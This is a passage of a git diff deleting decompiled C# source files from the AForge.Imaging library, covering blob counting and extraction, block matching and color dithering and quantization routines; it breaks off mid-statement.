- { - } - - public BlobCounterBase(Bitmap image) - { - ProcessImage(image); - } - - public BlobCounterBase(BitmapData imageData) - { - ProcessImage(imageData); - } - - public BlobCounterBase(UnmanagedImage image) - { - ProcessImage(image); - } - - public void ProcessImage(Bitmap image) - { - //IL_0016: Unknown result type (might be due to invalid IL or missing references) - BitmapData val = image.LockBits(new Rectangle(0, 0, ((Image)image).Width, ((Image)image).Height), (ImageLockMode)1, ((Image)image).PixelFormat); - try - { - ProcessImage(val); - } - finally - { - image.UnlockBits(val); - } - } - - public void ProcessImage(BitmapData imageData) - { - ProcessImage(new UnmanagedImage(imageData)); - } - - public void ProcessImage(UnmanagedImage image) - { - imageWidth = image.Width; - imageHeight = image.Height; - BuildObjectsMap(image); - CollectObjectsInfo(image); - if (filterBlobs) - { - int[] array = new int[objectsCount + 1]; - for (int i = 1; i <= objectsCount; i++) - { - array[i] = i; - } - int num = 0; - if (filter == null) - { - for (int num2 = objectsCount - 1; num2 >= 0; num2--) - { - int width = blobs[num2].Rectangle.Width; - int height = blobs[num2].Rectangle.Height; - if (!coupledSizeFiltering) - { - if (width < minWidth || height < minHeight || width > maxWidth || height > maxHeight) - { - array[num2 + 1] = 0; - num++; - blobs.RemoveAt(num2); - } - } - else if ((width < minWidth && height < minHeight) || (width > maxWidth && height > maxHeight)) - { - array[num2 + 1] = 0; - num++; - blobs.RemoveAt(num2); - } - } - } - else - { - for (int num3 = objectsCount - 1; num3 >= 0; num3--) - { - if (!filter.Check(blobs[num3])) - { - array[num3 + 1] = 0; - num++; - blobs.RemoveAt(num3); - } - } - } - int num4 = 0; - for (int j = 1; j <= objectsCount; j++) - { - if (array[j] != 0) - { - num4 = (array[j] = num4 + 1); - } - } - int k = 0; - for (int num5 = objectLabels.Length; k < num5; k++) - { - objectLabels[k] = array[objectLabels[k]]; - } - objectsCount -= num; - int l = 0; - for (int count = blobs.Count; l < count; l++) - { - blobs[l].ID = l + 1; - } - } - if (objectsOrder != ObjectsOrder.None) - { - blobs.Sort(new BlobsSorter(objectsOrder)); - } - } - - public Rectangle[] GetObjectsRectangles() - { - if (objectLabels == null) - { - throw new ApplicationException("Image should be processed before to collect objects map."); - } - Rectangle[] array = new Rectangle[objectsCount]; - for (int i = 0; i < objectsCount; i++) - { - ref Rectangle reference = ref array[i]; - reference = blobs[i].Rectangle; - } - return array; - } - - public Blob[] GetObjectsInformation() - { - if (objectLabels == null) - { - throw new ApplicationException("Image should be processed before to collect objects map."); - } - Blob[] array = new Blob[objectsCount]; - for (int i = 0; i < objectsCount; i++) - { - array[i] = new Blob(blobs[i]); - } - return array; - } - - public Blob[] GetObjects(Bitmap image, bool extractInOriginalSize) - { - //IL_0018: Unknown result type (might be due to invalid IL or missing references) - Blob[] array = null; - BitmapData val = image.LockBits(new Rectangle(0, 0, ((Image)image).Width, ((Image)image).Height), (ImageLockMode)1, ((Image)image).PixelFormat); - try - { - return GetObjects(new UnmanagedImage(val), extractInOriginalSize); - } - finally - { - image.UnlockBits(val); - } - } - - public unsafe Blob[] GetObjects(UnmanagedImage image, bool extractInOriginalSize) - { - //IL_0014: Unknown result type (might be due to invalid IL or missing references) - //IL_001e: Invalid comparison between Unknown and I4 - //IL_0082: Unknown result type (might be due to invalid IL or missing references) - //IL_0021: Unknown result type (might be due to invalid IL or missing references) - //IL_002b: Invalid comparison between Unknown and I4 - //IL_002e: Unknown result type (might be due to invalid IL or missing references) - //IL_0038: Invalid comparison between Unknown and I4 - //IL_003b: Unknown result type (might be due to invalid IL or missing references) - //IL_0045: Invalid comparison between Unknown and I4 - //IL_0048: Unknown result type (might be due to invalid IL or missing references) - //IL_0052: Invalid comparison between Unknown and I4 - //IL_0055: Unknown result type (might be due to invalid IL or missing references) - //IL_005f: Invalid comparison between Unknown and I4 - //IL_0157: Unknown result type (might be due to invalid IL or missing references) - if (objectLabels == null) - { - throw new ApplicationException("Image should be processed before to collect objects map."); - } - if ((int)image.PixelFormat != 137224 && (int)image.PixelFormat != 198659 && (int)image.PixelFormat != 139273 && (int)image.PixelFormat != 2498570 && (int)image.PixelFormat != 139273 && (int)image.PixelFormat != 925707) - { - throw new UnsupportedImageFormatException("Unsupported pixel format of the provided image."); - } - int width = image.Width; - int height = image.Height; - int stride = image.Stride; - int num = Image.GetPixelFormatSize(image.PixelFormat) / 8; - Blob[] array = new Blob[objectsCount]; - for (int i = 0; i < objectsCount; i++) - { - int width2 = blobs[i].Rectangle.Width; - int height2 = blobs[i].Rectangle.Height; - int width3 = (extractInOriginalSize ? width : width2); - int height3 = (extractInOriginalSize ? height : height2); - int x = blobs[i].Rectangle.X; - int num2 = x + width2 - 1; - int y = blobs[i].Rectangle.Y; - int num3 = y + height2 - 1; - int iD = blobs[i].ID; - UnmanagedImage unmanagedImage = UnmanagedImage.Create(width3, height3, image.PixelFormat); - byte* ptr = (byte*)image.ImageData.ToPointer() + (nint)y * (nint)stride + (nint)x * (nint)num; - byte* ptr2 = (byte*)unmanagedImage.ImageData.ToPointer(); - int num4 = y * width + x; - if (extractInOriginalSize) - { - ptr2 += y * unmanagedImage.Stride + x * num; - } - int num5 = stride - width2 * num; - int num6 = unmanagedImage.Stride - width2 * num; - int num7 = width - width2; - for (int j = y; j <= num3; j++) - { - int num8 = x; - while (num8 <= num2) - { - if (objectLabels[num4] == iD) - { - *ptr2 = *ptr; - if (num > 1) - { - ptr2[1] = ptr[1]; - ptr2[2] = ptr[2]; - if (num > 3) - { - ptr2[3] = ptr[3]; - } - } - } - num8++; - num4++; - ptr2 += num; - ptr += num; - } - ptr += num5; - ptr2 += num6; - num4 += num7; - } - array[i] = new Blob(blobs[i]); - array[i].Image = unmanagedImage; - array[i].OriginalSize = extractInOriginalSize; - } - return array; - } - - public void ExtractBlobsImage(Bitmap image, Blob blob, bool extractInOriginalSize) - { - //IL_0016: Unknown result type (might be due to invalid IL or missing references) - BitmapData val = image.LockBits(new Rectangle(0, 0, ((Image)image).Width, ((Image)image).Height), (ImageLockMode)1, ((Image)image).PixelFormat); - try - { - ExtractBlobsImage(new UnmanagedImage(val), blob, extractInOriginalSize); - } - finally - { - image.UnlockBits(val); - } - } - - public unsafe void ExtractBlobsImage(UnmanagedImage image, Blob blob, bool extractInOriginalSize) - { - //IL_0014: Unknown result type (might be due to invalid IL or missing references) - //IL_001e: Invalid comparison between Unknown and I4 - //IL_0082: Unknown result type (might be due to invalid IL or missing references) - //IL_0021: Unknown result type (might be due to invalid IL or missing references) - //IL_002b: Invalid comparison between Unknown and I4 - //IL_002e: Unknown result type (might be due to invalid IL or missing references) - //IL_0038: Invalid comparison between Unknown and I4 - //IL_003b: Unknown result type (might be due to invalid IL or missing references) - //IL_0045: Invalid comparison between Unknown and I4 - //IL_0048: Unknown result type (might be due to invalid IL or missing references) - //IL_0052: Invalid comparison between Unknown and I4 - //IL_0107: Unknown result type (might be due to invalid IL or missing references) - //IL_0055: Unknown result type (might be due to invalid IL or missing references) - //IL_005f: Invalid comparison between Unknown and I4 - if (objectLabels == null) - { - throw new ApplicationException("Image should be processed before to collect objects map."); - } - if ((int)image.PixelFormat != 137224 && (int)image.PixelFormat != 198659 && (int)image.PixelFormat != 139273 && (int)image.PixelFormat != 2498570 && (int)image.PixelFormat != 139273 && (int)image.PixelFormat != 925707) - { - throw new UnsupportedImageFormatException("Unsupported pixel format of the provided image."); - } - int width = image.Width; - int height = image.Height; - int stride = image.Stride; - int num = Image.GetPixelFormatSize(image.PixelFormat) / 8; - int width2 = blob.Rectangle.Width; - int height2 = blob.Rectangle.Height; - int width3 = (extractInOriginalSize ? width : width2); - int height3 = (extractInOriginalSize ? height : height2); - int left = blob.Rectangle.Left; - int num2 = left + width2 - 1; - int top = blob.Rectangle.Top; - int num3 = top + height2 - 1; - int iD = blob.ID; - blob.Image = UnmanagedImage.Create(width3, height3, image.PixelFormat); - blob.OriginalSize = extractInOriginalSize; - byte* ptr = (byte*)image.ImageData.ToPointer() + (nint)top * (nint)stride + (nint)left * (nint)num; - byte* ptr2 = (byte*)blob.Image.ImageData.ToPointer(); - int num4 = top * width + left; - if (extractInOriginalSize) - { - ptr2 += top * blob.Image.Stride + left * num; - } - int num5 = stride - width2 * num; - int num6 = blob.Image.Stride - width2 * num; - int num7 = width - width2; - for (int i = top; i <= num3; i++) - { - int num8 = left; - while (num8 <= num2) - { - if (objectLabels[num4] == iD) - { - *ptr2 = *ptr; - if (num > 1) - { - ptr2[1] = ptr[1]; - ptr2[2] = ptr[2]; - if (num > 3) - { - ptr2[3] = ptr[3]; - } - } - } - num8++; - num4++; - ptr2 += num; - ptr += num; - } - ptr += num5; - ptr2 += num6; - num4 += num7; - } - } - - public void GetBlobsLeftAndRightEdges(Blob blob, out List leftEdge, out List rightEdge) - { - if (objectLabels == null) - { - throw new ApplicationException("Image should be processed before to collect objects map."); - } - leftEdge = new List(); - rightEdge = new List(); - int left = blob.Rectangle.Left; - int num = left + blob.Rectangle.Width - 1; - int top = blob.Rectangle.Top; - int num2 = top + blob.Rectangle.Height - 1; - int iD = blob.ID; - for (int i = top; i <= num2; i++) - { - int num3 = i * imageWidth + left; - int num4 = left; - while (num4 <= num) - { - if (objectLabels[num3] == iD) - { - leftEdge.Add(new IntPoint(num4, i)); - break; - } - num4++; - num3++; - } - num3 = i * imageWidth + num; - int num5 = num; - while (num5 >= left) - { - if (objectLabels[num3] == iD) - { - rightEdge.Add(new IntPoint(num5, i)); - break; - } - num5--; - num3--; - } - } - } - - public void GetBlobsTopAndBottomEdges(Blob blob, out List topEdge, out List bottomEdge) - { - if (objectLabels == null) - { - throw new ApplicationException("Image should be processed before to collect objects map."); - } - topEdge = new List(); - bottomEdge = new List(); - int left = blob.Rectangle.Left; - int num = left + blob.Rectangle.Width - 1; - int top = blob.Rectangle.Top; - int num2 = top + blob.Rectangle.Height - 1; - int iD = blob.ID; - for (int i = left; i <= num; i++) - { - int num3 = top * imageWidth + i; - int num4 = top; - while (num4 <= num2) - { - if (objectLabels[num3] == iD) - { - topEdge.Add(new IntPoint(i, num4)); - break; - } - num4++; - num3 += imageWidth; - } - num3 = num2 * imageWidth + i; - int num5 = num2; - while (num5 >= top) - { - if (objectLabels[num3] == iD) - { - bottomEdge.Add(new IntPoint(i, num5)); - break; - } - num5--; - num3 -= imageWidth; - } - } - } - - public List GetBlobsEdgePoints(Blob blob) - { - if (objectLabels == null) - { - throw new ApplicationException("Image should be processed before to collect objects map."); - } - List list = new List(); - int left = blob.Rectangle.Left; - int num = left + blob.Rectangle.Width - 1; - int top = blob.Rectangle.Top; - int num2 = top + blob.Rectangle.Height - 1; - int iD = blob.ID; - int[] array = new int[blob.Rectangle.Height]; - int[] array2 = new int[blob.Rectangle.Height]; - for (int i = top; i <= num2; i++) - { - int num3 = i * imageWidth + left; - int num4 = left; - while (num4 <= num) - { - if (objectLabels[num3] == iD) - { - list.Add(new IntPoint(num4, i)); - array[i - top] = num4; - break; - } - num4++; - num3++; - } - num3 = i * imageWidth + num; - int num5 = num; - while (num5 >= left) - { - if (objectLabels[num3] == iD) - { - if (array[i - top] != num5) - { - list.Add(new IntPoint(num5, i)); - } - array2[i - top] = num5; - break; - } - num5--; - num3--; - } - } - for (int j = left; j <= num; j++) - { - int num6 = top * imageWidth + j; - int num7 = top; - int num8 = 0; - while (num7 <= num2) - { - if (objectLabels[num6] == iD) - { - if (array[num8] != j && array2[num8] != j) - { - list.Add(new IntPoint(j, num7)); - } - break; - } - num7++; - num8++; - num6 += imageWidth; - } - num6 = num2 * imageWidth + j; - int num9 = num2; - int num10 = num2 - top; - while (num9 >= top) - { - if (objectLabels[num6] == iD) - { - if (array[num10] != j && array2[num10] != j) - { - list.Add(new IntPoint(j, num9)); - } - break; - } - num9--; - num10--; - num6 -= imageWidth; - } - } - return list; - } - - protected abstract void BuildObjectsMap(UnmanagedImage image); - - private unsafe void CollectObjectsInfo(UnmanagedImage image) - { - //IL_00fe: Unknown result type (might be due to invalid IL or missing references) - //IL_0108: Invalid comparison between Unknown and I4 - //IL_0263: Unknown result type (might be due to invalid IL or missing references) - int num = 0; - int[] array = new int[objectsCount + 1]; - int[] array2 = new int[objectsCount + 1]; - int[] array3 = new int[objectsCount + 1]; - int[] array4 = new int[objectsCount + 1]; - int[] array5 = new int[objectsCount + 1]; - long[] array6 = new long[objectsCount + 1]; - long[] array7 = new long[objectsCount + 1]; - long[] array8 = new long[objectsCount + 1]; - long[] array9 = new long[objectsCount + 1]; - long[] array10 = new long[objectsCount + 1]; - long[] array11 = new long[objectsCount + 1]; - long[] array12 = new long[objectsCount + 1]; - long[] array13 = new long[objectsCount + 1]; - for (int i = 1; i <= objectsCount; i++) - { - array[i] = imageWidth; - array2[i] = imageHeight; - } - byte* ptr = (byte*)image.ImageData.ToPointer(); - if ((int)image.PixelFormat == 198659) - { - int num2 = image.Stride - imageWidth; - for (int j = 0; j < imageHeight; j++) - { - int num3 = 0; - while (num3 < imageWidth) - { - int num4 = objectLabels[num]; - if (num4 != 0) - { - if (num3 < array[num4]) - { - array[num4] = num3; - } - if (num3 > array3[num4]) - { - array3[num4] = num3; - } - if (j < array2[num4]) - { - array2[num4] = j; - } - if (j > array4[num4]) - { - array4[num4] = j; - } - array5[num4]++; - array6[num4] += num3; - array7[num4] += j; - byte b = *ptr; - array9[num4] += b; - array12[num4] += b * b; - } - num3++; - num++; - ptr++; - } - ptr += num2; - } - for (int k = 1; k <= objectsCount; k++) - { - array8[k] = (array10[k] = array9[k]); - array11[k] = (array13[k] = array12[k]); - } - } - else - { - int num5 = Image.GetPixelFormatSize(image.PixelFormat) / 8; - int num6 = image.Stride - imageWidth * num5; - for (int l = 0; l < imageHeight; l++) - { - int num7 = 0; - while (num7 < imageWidth) - { - int num4 = objectLabels[num]; - if (num4 != 0) - { - if (num7 < array[num4]) - { - array[num4] = num7; - } - if (num7 > array3[num4]) - { - array3[num4] = num7; - } - if (l < array2[num4]) - { - array2[num4] = l; - } - if (l > array4[num4]) - { - array4[num4] = l; - } - array5[num4]++; - array6[num4] += num7; - array7[num4] += l; - byte b2 = ptr[2]; - byte b3 = ptr[1]; - byte b4 = *ptr; - array8[num4] += b2; - array9[num4] += b3; - array10[num4] += b4; - array11[num4] += b2 * b2; - array12[num4] += b3 * b3; - array13[num4] += b4 * b4; - } - num7++; - num++; - ptr += num5; - } - ptr += num6; - } - } - blobs.Clear(); - for (int m = 1; m <= objectsCount; m++) - { - int num8 = array5[m]; - Blob blob = new Blob(m, new Rectangle(array[m], array2[m], array3[m] - array[m] + 1, array4[m] - array2[m] + 1)); - blob.Area = num8; - blob.Fullness = (double)num8 / (double)((array3[m] - array[m] + 1) * (array4[m] - array2[m] + 1)); - blob.CenterOfGravity = new Point((float)array6[m] / (float)num8, (float)array7[m] / (float)num8); - blob.ColorMean = Color.FromArgb((byte)(array8[m] / num8), (byte)(array9[m] / num8), (byte)(array10[m] / num8)); - blob.ColorStdDev = Color.FromArgb((byte)System.Math.Sqrt(array11[m] / num8 - blob.ColorMean.R * blob.ColorMean.R), (byte)System.Math.Sqrt(array12[m] / num8 - blob.ColorMean.G * blob.ColorMean.G), (byte)System.Math.Sqrt(array13[m] / num8 - blob.ColorMean.B * blob.ColorMean.B)); - blobs.Add(blob); - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/BlockMatch.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/BlockMatch.cs deleted file mode 100644 index 8fe32b2..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/BlockMatch.cs +++ /dev/null @@ -1,23 +0,0 @@ -namespace AForge.Imaging; - -public class BlockMatch -{ - private IntPoint sourcePoint; - - private IntPoint matchPoint; - - private float similarity; - - public IntPoint SourcePoint => sourcePoint; - - public IntPoint MatchPoint => matchPoint; - - public float Similarity => similarity; - - public BlockMatch(IntPoint sourcePoint, IntPoint matchPoint, float similarity) - { - this.sourcePoint = sourcePoint; - this.matchPoint = matchPoint; - this.similarity = similarity; - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/ColorReduction/BurkesColorDithering.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/ColorReduction/BurkesColorDithering.cs deleted file mode 100644 index 1a80cd8..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/ColorReduction/BurkesColorDithering.cs +++ /dev/null @@ -1,13 +0,0 @@ -namespace AForge.Imaging.ColorReduction; - -public sealed class BurkesColorDithering : ColorErrorDiffusionToAdjacentNeighbors -{ - public BurkesColorDithering() - : base(new int[2][] - { - new int[2] { 8, 4 }, - new int[5] { 2, 4, 8, 4, 2 } - }) - { - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/ColorReduction/ColorErrorDiffusionToAdjacentNeighbors.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/ColorReduction/ColorErrorDiffusionToAdjacentNeighbors.cs deleted file mode 100644 index f2da442..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/ColorReduction/ColorErrorDiffusionToAdjacentNeighbors.cs +++ /dev/null @@ -1,94 +0,0 @@ -namespace AForge.Imaging.ColorReduction; - -public class ColorErrorDiffusionToAdjacentNeighbors : ErrorDiffusionColorDithering -{ - private int[][] coefficients; - - private int coefficientsSum; - - public int[][] Coefficients - { - get - { - return coefficients; - } - set - { - coefficients = value; - CalculateCoefficientsSum(); - } - } - - public ColorErrorDiffusionToAdjacentNeighbors(int[][] coefficients) - { - this.coefficients = coefficients; - CalculateCoefficientsSum(); - } - - protected unsafe override void Diffuse(int rError, int gError, int bError, byte* ptr) - { - int[] array = coefficients[0]; - int num = 1; - int num2 = pixelSize; - int num3 = 0; - int num4 = array.Length; - while (num3 < num4 && x + num < width) - { - int num5 = ptr[num2 + 2] + rError * array[num3] / coefficientsSum; - num5 = ((num5 >= 0) ? ((num5 > 255) ? 255 : num5) : 0); - ptr[num2 + 2] = (byte)num5; - int num6 = ptr[num2 + 1] + gError * array[num3] / coefficientsSum; - num6 = ((num6 >= 0) ? ((num6 > 255) ? 255 : num6) : 0); - ptr[num2 + 1] = (byte)num6; - int num7 = ptr[num2] + bError * array[num3] / coefficientsSum; - num7 = ((num7 >= 0) ? ((num7 > 255) ? 255 : num7) : 0); - ptr[num2] = (byte)num7; - num++; - num3++; - num2 += pixelSize; - } - int i = 1; - for (int num8 = coefficients.Length; i < num8 && y + i < height; i++) - { - ptr += stride; - array = coefficients[i]; - int num9 = 0; - int num10 = array.Length; - int num11 = -(num10 >> 1); - int num12 = -(num10 >> 1) * pixelSize; - while (num9 < num10 && x + num11 < width) - { - if (x + num11 >= 0) - { - int num5 = ptr[num12 + 2] + rError * array[num9] / coefficientsSum; - num5 = ((num5 >= 0) ? ((num5 > 255) ? 255 : num5) : 0); - ptr[num12 + 2] = (byte)num5; - int num6 = ptr[num12 + 1] + gError * array[num9] / coefficientsSum; - num6 = ((num6 >= 0) ? ((num6 > 255) ? 255 : num6) : 0); - ptr[num12 + 1] = (byte)num6; - int num7 = ptr[num12] + bError * array[num9] / coefficientsSum; - num7 = ((num7 >= 0) ? ((num7 > 255) ? 255 : num7) : 0); - ptr[num12] = (byte)num7; - } - num11++; - num9++; - num12 += pixelSize; - } - } - } - - private void CalculateCoefficientsSum() - { - coefficientsSum = 0; - int i = 0; - for (int num = coefficients.Length; i < num; i++) - { - int[] array = coefficients[i]; - int j = 0; - for (int num2 = array.Length; j < num2; j++) - { - coefficientsSum += array[j]; - } - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/ColorReduction/ColorImageQuantizer.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/ColorReduction/ColorImageQuantizer.cs deleted file mode 100644 index e581f39..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/ColorReduction/ColorImageQuantizer.cs +++ /dev/null @@ -1,247 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.ColorReduction; - -public class ColorImageQuantizer -{ - private IColorQuantizer quantizer; - - private bool useCaching; - - [NonSerialized] - private Color[] paletteToUse; - - [NonSerialized] - private Dictionary cache = new Dictionary(); - - public IColorQuantizer Quantizer - { - get - { - return quantizer; - } - set - { - quantizer = value; - } - } - - public bool UseCaching - { - get - { - return useCaching; - } - set - { - useCaching = value; - } - } - - public ColorImageQuantizer(IColorQuantizer quantizer) - { - this.quantizer = quantizer; - } - - public Color[] CalculatePalette(Bitmap image, int paletteSize) - { - //IL_0016: Unknown result type (might be due to invalid IL or missing references) - BitmapData val = image.LockBits(new Rectangle(0, 0, ((Image)image).Width, ((Image)image).Height), (ImageLockMode)1, ((Image)image).PixelFormat); - try - { - return CalculatePalette(new UnmanagedImage(val), paletteSize); - } - finally - { - image.UnlockBits(val); - } - } - - public unsafe Color[] CalculatePalette(UnmanagedImage image, int paletteSize) - { - //IL_0001: Unknown result type (might be due to invalid IL or missing references) - //IL_000b: Invalid comparison between Unknown and I4 - //IL_0059: Unknown result type (might be due to invalid IL or missing references) - //IL_000e: Unknown result type (might be due to invalid IL or missing references) - //IL_0018: Invalid comparison between Unknown and I4 - //IL_001b: Unknown result type (might be due to invalid IL or missing references) - //IL_0025: Invalid comparison between Unknown and I4 - //IL_0028: Unknown result type (might be due to invalid IL or missing references) - //IL_0032: Invalid comparison between Unknown and I4 - if ((int)image.PixelFormat != 137224 && (int)image.PixelFormat != 139273 && (int)image.PixelFormat != 2498570 && (int)image.PixelFormat != 925707) - { - throw new UnsupportedImageFormatException("Unsupported format of the source image."); - } - quantizer.Clear(); - int width = image.Width; - int height = image.Height; - int num = Image.GetPixelFormatSize(image.PixelFormat) / 8; - byte* ptr = (byte*)image.ImageData.ToPointer(); - int num2 = image.Stride - width * num; - for (int i = 0; i < height; i++) - { - int num3 = 0; - while (num3 < width) - { - quantizer.AddColor(Color.FromArgb(ptr[2], ptr[1], *ptr)); - num3++; - ptr += num; - } - ptr += num2; - } - return quantizer.GetPalette(paletteSize); - } - - public Bitmap ReduceColors(Bitmap image, int paletteSize) - { - //IL_0016: Unknown result type (might be due to invalid IL or missing references) - BitmapData val = image.LockBits(new Rectangle(0, 0, ((Image)image).Width, ((Image)image).Height), (ImageLockMode)1, ((Image)image).PixelFormat); - try - { - Bitmap val2 = ReduceColors(new UnmanagedImage(val), paletteSize); - if (((Image)image).HorizontalResolution > 0f && ((Image)image).VerticalResolution > 0f) - { - val2.SetResolution(((Image)image).HorizontalResolution, ((Image)image).VerticalResolution); - } - return val2; - } - finally - { - image.UnlockBits(val); - } - } - - public Bitmap ReduceColors(UnmanagedImage image, int paletteSize) - { - if (paletteSize < 2 || paletteSize > 256) - { - throw new ArgumentException("Invalid size of the target color palette."); - } - return ReduceColors(image, CalculatePalette(image, paletteSize)); - } - - public Bitmap ReduceColors(Bitmap image, Color[] palette) - { - //IL_0016: Unknown result type (might be due to invalid IL or missing references) - BitmapData val = image.LockBits(new Rectangle(0, 0, ((Image)image).Width, ((Image)image).Height), (ImageLockMode)1, ((Image)image).PixelFormat); - try - { - Bitmap val2 = ReduceColors(new UnmanagedImage(val), palette); - if (((Image)image).HorizontalResolution > 0f && ((Image)image).VerticalResolution > 0f) - { - val2.SetResolution(((Image)image).HorizontalResolution, ((Image)image).VerticalResolution); - } - return val2; - } - finally - { - image.UnlockBits(val); - } - } - - public unsafe Bitmap ReduceColors(UnmanagedImage image, Color[] palette) - { - //IL_0001: Unknown result type (might be due to invalid IL or missing references) - //IL_000b: Invalid comparison between Unknown and I4 - //IL_000e: Unknown result type (might be due to invalid IL or missing references) - //IL_0018: Invalid comparison between Unknown and I4 - //IL_001b: Unknown result type (might be due to invalid IL or missing references) - //IL_0025: Invalid comparison between Unknown and I4 - //IL_0082: Unknown result type (might be due to invalid IL or missing references) - //IL_0028: Unknown result type (might be due to invalid IL or missing references) - //IL_0032: Invalid comparison between Unknown and I4 - //IL_00ab: Unknown result type (might be due to invalid IL or missing references) - //IL_00b2: Expected O, but got Unknown - //IL_0108: Unknown result type (might be due to invalid IL or missing references) - if ((int)image.PixelFormat != 137224 && (int)image.PixelFormat != 139273 && (int)image.PixelFormat != 2498570 && (int)image.PixelFormat != 925707) - { - throw new UnsupportedImageFormatException("Unsupported format of the source image."); - } - if (palette.Length < 2 || palette.Length > 256) - { - throw new ArgumentException("Invalid size of the target color palette."); - } - paletteToUse = palette; - cache.Clear(); - int width = image.Width; - int height = image.Height; - int stride = image.Stride; - int num = Image.GetPixelFormatSize(image.PixelFormat) / 8; - int num2 = stride - width * num; - Bitmap val = new Bitmap(width, height, (PixelFormat)((palette.Length > 16) ? 198659 : 197634)); - ColorPalette palette2 = ((Image)val).Palette; - int i = 0; - for (int num3 = palette.Length; i < num3; i++) - { - ref Color reference = ref palette2.Entries[i]; - reference = palette[i]; - } - ((Image)val).Palette = palette2; - BitmapData val2 = val.LockBits(new Rectangle(0, 0, width, height), (ImageLockMode)3, ((Image)val).PixelFormat); - byte* ptr = (byte*)image.ImageData.ToPointer(); - byte* ptr2 = (byte*)val2.Scan0.ToPointer(); - bool flag = palette.Length > 16; - for (int j = 0; j < height; j++) - { - byte* ptr3 = ptr2 + (nint)j * (nint)val2.Stride; - int num4 = 0; - while (num4 < width) - { - byte b = (byte)GetClosestColor(ptr[2], ptr[1], *ptr); - if (flag) - { - *ptr3 = b; - ptr3++; - } - else if (num4 % 2 == 0) - { - byte* intPtr = ptr3; - *intPtr |= (byte)(b << 4); - } - else - { - byte* intPtr2 = ptr3; - *intPtr2 |= b; - ptr3++; - } - num4++; - ptr += num; - } - ptr += num2; - } - val.UnlockBits(val2); - return val; - } - - private int GetClosestColor(int red, int green, int blue) - { - Color key = Color.FromArgb(red, green, blue); - if (useCaching && cache.ContainsKey(key)) - { - return cache[key]; - } - int num = 0; - int num2 = int.MaxValue; - int i = 0; - for (int num3 = paletteToUse.Length; i < num3; i++) - { - int num4 = red - paletteToUse[i].R; - int num5 = green - paletteToUse[i].G; - int num6 = blue - paletteToUse[i].B; - int num7 = num4 * num4 + num5 * num5 + num6 * num6; - if (num7 < num2) - { - num2 = num7; - num = (byte)i; - } - } - if (useCaching) - { - cache.Add(key, num); - } - return num; - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/ColorReduction/ErrorDiffusionColorDithering.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/ColorReduction/ErrorDiffusionColorDithering.cs deleted file mode 100644 index 5da53a0..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/ColorReduction/ErrorDiffusionColorDithering.cs +++ /dev/null @@ -1,204 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.ColorReduction; - -public abstract class ErrorDiffusionColorDithering -{ - private bool useCaching; - - protected int x; - - protected int y; - - protected int width; - - protected int height; - - protected int stride; - - protected int pixelSize; - - private Color[] colorTable = new Color[16] - { - Color.Black, - Color.DarkBlue, - Color.DarkGreen, - Color.DarkCyan, - Color.DarkRed, - Color.DarkMagenta, - Color.DarkKhaki, - Color.LightGray, - Color.Gray, - Color.Blue, - Color.Green, - Color.Cyan, - Color.Red, - Color.Magenta, - Color.Yellow, - Color.White - }; - - [NonSerialized] - private Dictionary cache = new Dictionary(); - - public Color[] ColorTable - { - get - { - return colorTable; - } - set - { - if (colorTable.Length < 2 || colorTable.Length > 256) - { - throw new ArgumentException("Color table length must be in the [2, 256] range."); - } - colorTable = value; - } - } - - public bool UseCaching - { - get - { - return useCaching; - } - set - { - useCaching = value; - } - } - - protected unsafe abstract void Diffuse(int rError, int gError, int bError, byte* ptr); - - public Bitmap Apply(Bitmap sourceImage) - { - //IL_0016: Unknown result type (might be due to invalid IL or missing references) - BitmapData val = sourceImage.LockBits(new Rectangle(0, 0, ((Image)sourceImage).Width, ((Image)sourceImage).Height), (ImageLockMode)1, ((Image)sourceImage).PixelFormat); - Bitmap val2 = null; - try - { - val2 = Apply(new UnmanagedImage(val)); - if (((Image)sourceImage).HorizontalResolution > 0f && ((Image)sourceImage).VerticalResolution > 0f) - { - val2.SetResolution(((Image)sourceImage).HorizontalResolution, ((Image)sourceImage).VerticalResolution); - } - } - finally - { - sourceImage.UnlockBits(val); - } - return val2; - } - - public unsafe Bitmap Apply(UnmanagedImage sourceImage) - { - //IL_0001: Unknown result type (might be due to invalid IL or missing references) - //IL_000b: Invalid comparison between Unknown and I4 - //IL_0077: Unknown result type (might be due to invalid IL or missing references) - //IL_000e: Unknown result type (might be due to invalid IL or missing references) - //IL_0018: Invalid comparison between Unknown and I4 - //IL_001b: Unknown result type (might be due to invalid IL or missing references) - //IL_0025: Invalid comparison between Unknown and I4 - //IL_00c1: Unknown result type (might be due to invalid IL or missing references) - //IL_00c7: Expected O, but got Unknown - //IL_0028: Unknown result type (might be due to invalid IL or missing references) - //IL_0032: Invalid comparison between Unknown and I4 - //IL_012a: Unknown result type (might be due to invalid IL or missing references) - if ((int)sourceImage.PixelFormat != 137224 && (int)sourceImage.PixelFormat != 139273 && (int)sourceImage.PixelFormat != 2498570 && (int)sourceImage.PixelFormat != 925707) - { - throw new UnsupportedImageFormatException("Unsupported pixel format of the source image."); - } - cache.Clear(); - UnmanagedImage unmanagedImage = sourceImage.Clone(); - width = sourceImage.Width; - height = sourceImage.Height; - stride = sourceImage.Stride; - pixelSize = Image.GetPixelFormatSize(sourceImage.PixelFormat) / 8; - int num = stride - width * pixelSize; - Bitmap val = new Bitmap(width, height, (PixelFormat)((colorTable.Length > 16) ? 198659 : 197634)); - ColorPalette palette = ((Image)val).Palette; - int i = 0; - for (int num2 = colorTable.Length; i < num2; i++) - { - ref Color reference = ref palette.Entries[i]; - reference = colorTable[i]; - } - ((Image)val).Palette = palette; - BitmapData val2 = 